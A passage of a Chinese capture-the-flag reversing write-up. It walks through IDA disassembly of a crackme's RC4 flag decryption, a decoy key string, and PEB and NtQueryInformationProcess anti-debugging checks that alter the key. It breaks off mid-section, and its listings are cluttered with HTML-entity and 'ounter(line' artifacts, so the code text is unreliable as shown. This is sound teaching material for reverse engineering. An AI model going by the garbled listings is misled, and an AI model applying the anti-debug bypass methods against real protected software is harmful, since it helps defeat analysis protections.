mov &nbsp; &nbsp; byte ptr [ebp-73h],&nbsp;0F9h.text:004015A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-72h],&nbsp;0F8h.text:004015A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-71h],&nbsp;32h ;&nbsp;'2'.text:004015AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-70h],&nbsp;5Bh ;&nbsp;'['.text:004015AE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Fh],&nbsp;0DEh.text:004015B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Eh],&nbsp;2Dh ;&nbsp;'-'.text:004015B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Dh],&nbsp;0D6h.text:004015BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Ch],&nbsp;0A3h.text:004015BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Bh],&nbsp;4Fh ;&nbsp;'O'.text:004015C2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-6Ah],&nbsp;7Eh ;&nbsp;'~'.text:004015C6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-69h],&nbsp;0CBh.text:004015CA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-68h],&nbsp;61h ;&nbsp;'a'.text:004015CE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-67h],&nbsp;0B2h.text:004015D2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-66h],&nbsp;3Fh ;&nbsp;'?'.text:004015D6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-65h],&nbsp;0BFh.text:004015DA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-64h],&nbsp;0B7h.text:004015DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-63h],&nbsp;1Bh.text:004015E2&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-62h],&nbsp;0Ah.text:004015E6&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-61h],&nbsp;84h.text:004015EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-60h],&nbsp;0B3h.text:004015EE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Fh],&nbsp;0B4h.text:004015F2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Eh],&nbsp;0DEh.text:004015F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Dh],&nbsp;3.text:004015FA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Ch],&nbsp;46h ;&nbsp;'F'.text:004015FE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5Bh],&nbsp;7Bh ;&nbsp;'{'.text:00401602&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-5Ah],&nbsp;83h.text:00401606&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-59h],&nbsp;0F0h.text:0040160A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-58h],&nbsp;0C4h.text:0040160E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-57h],&nbsp;0B3h.text:00401612&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-56h],&nbsp;0ABh.text:00401616&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-55h],&nbsp;7Bh ;&nbsp;'{'.text:0040161A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-54h],&nbsp;29h ;&nbsp;')'.text:0040161E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-53h],&nbsp;0BCh.text:00401622&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-52h],&nbsp;1Fh.text:00401626&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-51h],&nbsp;0FEh.text:0040162A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-50h],&nbsp;8Ah.text:0040162E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Fh],&nbsp;79h ;&nbsp;'y'.text:00401632&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Eh],&nbsp;26h ;&nbsp;'&'.text:00401636&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Dh],&nbsp;0DAh.text:0040163A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Ch],&nbsp;8.text:0040163E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-4Bh],&nbsp;1.text:00401642&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-4Ah],&nbsp;85h.text:00401646&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-49h],&nbsp;66h ;&nbsp;'f'.text:0040164A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-48h],&nbsp;7Dh ;&nbsp;'}'.text:0040164E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-47h],&nbsp;0BBh.text:00401652&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-46h],&nbsp;0EEh.text:00401656&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-45h],&nbsp;0Fh.text:0040165A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-44h],&nbsp;89h.text:0040165E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-43h],&nbsp;59h ;&nbsp;'Y'.text:00401662&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-42h],&nbsp;0D4h.text:00401666&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-41h],&nbsp;5Fh ;&nbsp;'_'.text:0040166A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-40h],&nbsp;0ACh.text:0040166E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Fh],&nbsp;18h.text:00401672&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Eh],&nbsp;0AEh.text:00401676&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Dh],&nbsp;0Bh.text:0040167A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Ch],&nbsp;4Eh ;&nbsp;'N'.text:0040167E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-3Bh],&nbsp;0F0h.text:00401682&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-3Ah],&nbsp;0B7h.text:00401686&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ebp-39h],&nbsp;5.text:0040168A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-38h],&nbsp;5Ch ;&nbsp;'\'.text:0040168E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-37h], 81h.text:00401692 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-36h], 4.text:00401696 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-35h], 9Fh.text:0040169A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-34h], 0A4h.text:0040169E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-33h], 1Ch.text:004016A2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-32h], 5Dh ; ']'.text:004016A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-31h], 0A0h.text:004016AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-30h], 0B9h.text:004016AE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Fh], 7.text:004016B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Eh], 92h.text:004016B6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Dh], 5Ch ; '\'.text:004016BA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Ch], 8Ah.text:004016BE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-2Bh], 53h ; 'S'

最后是 RC4 的逻辑:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:0040175A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;80h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; key 长度&nbsp;0x80.text:0040175F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edx, [ebp-190h] &nbsp; &nbsp; &nbsp;; key 指针 = dword_40440C.text:00401765&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx.text:00401766&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; eax, [ebp-18Ch] &nbsp; &nbsp; &nbsp;; RC4 state.text:0040176C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;eax.text:0040176D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_4017D0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; RC4 KSA.text:00401772&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; esp,&nbsp;0Ch.text:00401775&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;80h.text:0040177A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; ecx, [ebp-84h] &nbsp; &nbsp; &nbsp; ; 密文缓冲.text:00401780&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;ecx.text:00401781&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; edx, [ebp-18Ch] &nbsp; &nbsp; &nbsp;; RC4 state.text:00401787&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;edx.text:00401788&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; &nbsp;sub_4018A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ; RC4 PRGA + XOR.text:0040178D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; esp,&nbsp;0Ch.text:00401790&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;lea &nbsp; &nbsp; eax, [ebp-84h].text:00401796&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax.text:00401797&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;offset aYourFlagIsS &nbsp;;&nbsp;"your flag is %s".text:0040179C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_401050

所以flag 就是 RC4 解密后的 [ebp-84h] 那 0x80 字节字符串。

在data段找到关键的fake_key:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.data:0040400B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; db&nbsp;0FFh.data:0040400C dword_40400C &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_40206D+2↑r.data:00404010&nbsp;dword_404010 &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_4022F5+D↑w.data:00404010&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;sub_4022F5:loc_402409↑r ....data:00404014&nbsp;dword_404014 &nbsp; &nbsp;dd&nbsp;1&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;DATA XREF: sub_4024C6+2↑r.data:00404018&nbsp;dword_404018 &nbsp; &nbsp;dd&nbsp;12345678h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;&nbsp;DATA XREF: .text:00401522↑r.data:0040401C aFlagTh1sflagls db&nbsp;'flag:{Th1sflaglsG00ds}',0.data:00404033&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404034&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404035&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404036&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404037&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0.data:00404038&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp;0

但不是真正的key。

sub_401440函数:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:00401440&nbsp;sub_401440 &nbsp; &nbsp; &nbsp;proc near &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;&nbsp;CODE XREF: .text:004010F1↑p....text:0040144D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;0&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; lpModuleName =&nbsp;NULL.text:0040144F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call&nbsp;&nbsp; &nbsp;ds:GetModuleHandleA.text:00401455&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_8], eax ; 模块基址.text:00401458&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4],&nbsp;0.text:0040145F &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_40146A
.text:00401461&nbsp;loc_401461:.text:00401461&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_4].text:00401464&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; eax,&nbsp;1.text:00401467&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; [ebp+var_4], eax
.text:0040146A loc_40146A:.text:0040146A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_4],&nbsp;10000h.text:00401471&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp; short loc_4014AA.text:00401473&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; ecx, [ebp+var_8].text:00401476&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, [ebp+var_4].text:00401479&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ecx] &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 取一个 dword.text:0040147B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp+var_C], edx.text:0040147E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; [ebp+var_C],&nbsp;12345678h.text:00401485&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp; short loc_4014A8.text:00401487&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_8].text:0040148A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; add &nbsp; &nbsp; eax, [ebp+var_4].text:0040148D &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; movsx &nbsp; ecx, byte ptr [eax+4].text:00401491&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; ecx,&nbsp;75h ;&nbsp;'u'.text:00401494&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_4014A8.text:00401496&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; edx, [ebp+var_4].text:00401499&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax, [ebp+var_8].text:0040149C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; ecx, [eax+edx+4].text:004014A0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword_40440C, ecx &nbsp; ; 保存指针.text:004014A6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short loc_4014AA
.text:004014AA loc_4014AA:.text:004014AA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, dword_40440C.text:004014AF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; esp, ebp.text:004014B1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; ebp.text:004014B2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; retn

.text:0040147E                 cmp     [ebp+var_C], 12345678h

所以dword_40440C指向flag:{Th1sflaglsG00ds} 的起始地址。

第一次反调试

loc_4010DA:

ounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(lineounter(line.text:004010DA loc_4010DA:.text:004010DA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ebx,&nbsp;22222222h.text:004010DF &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; byte ptr [ebp-5],&nbsp;1.text:004010E3&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; &nbsp;eax.text:004010E4&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; eax,&nbsp;large fs:30h &nbsp; ; PEB.text:004010EA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; al, [eax+2] &nbsp; &nbsp; &nbsp; &nbsp; ; BeingDebugged.text:004010ED &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; [ebp-5], al.text:004010F0 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; pop &nbsp; &nbsp; eax.text:004010F1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;sub_401440 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;; 设置 dword_40440C.text:004010F6 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; dword_404408,&nbsp;8.text:00401100&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;movzx &nbsp; eax, byte ptr [ebp-5].text:00401104&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;eax, eax.text:00401106&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;short loc_40110A &nbsp; &nbsp;; 未调试 -> 改 key.text:00401108&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp; short loc_401119
.text:0040110A loc_40110A:.text:0040110A &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; ecx, dword_40440C.text:00401110&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;add &nbsp; &nbsp; ecx, dword_404408 &nbsp; ; +8.text:00401116&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; byte ptr [ecx],&nbsp;69h ;&nbsp;'i'

如果 没有被调试 (BeingDebugged == 0),会跳到 loc_40110A,把 (dword_40440C + 8)改成 i。

初始 key 第 8 个字节是 1,所以这里实际上把 Th1s 改成 This

第二次反调试

这一段在 sub_401130 里,通过 NtQueryInformationProcess(info class = 7)查 debug object handle

loc_40124A:

